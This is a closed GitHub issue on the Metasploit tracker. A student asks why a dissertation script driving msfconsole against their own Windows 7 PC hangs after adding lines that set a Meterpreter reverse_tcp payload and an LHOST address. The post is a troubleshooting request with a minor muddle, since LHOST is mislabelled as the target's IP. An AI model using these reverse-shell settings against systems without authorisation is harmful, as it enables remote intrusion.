Closed geokal closed 6 years ago
This isn't a forum for asking for help with homework, it's a tracker for bugs and issues for metasploit-framework itself. Did you write this script yourself, or did your professor give it to you?
@busterb ok sorry for this. I wrote it my self, it's my dissertation.
I am having a problem with the presented code in kali linux , whenever I run the script and try to hit my windows 7 PRO 64 PC, I get stuck and nothing is happening! Before I added the "execute_command(client, 'set PAYLOAD windows/x64/meterpreter/reverse_tcp\n') and execute_command(client, 'set LHOST 192.168.198.148\n') # This is the IP for my Windows PC", everything worked fine but after I added this payload line, it just get stuck. Asked a professor of mine and said its a bug in python and have to do it using resource file but unfortunately I don't know how to do it or what it is at all. Any help would be appreciated.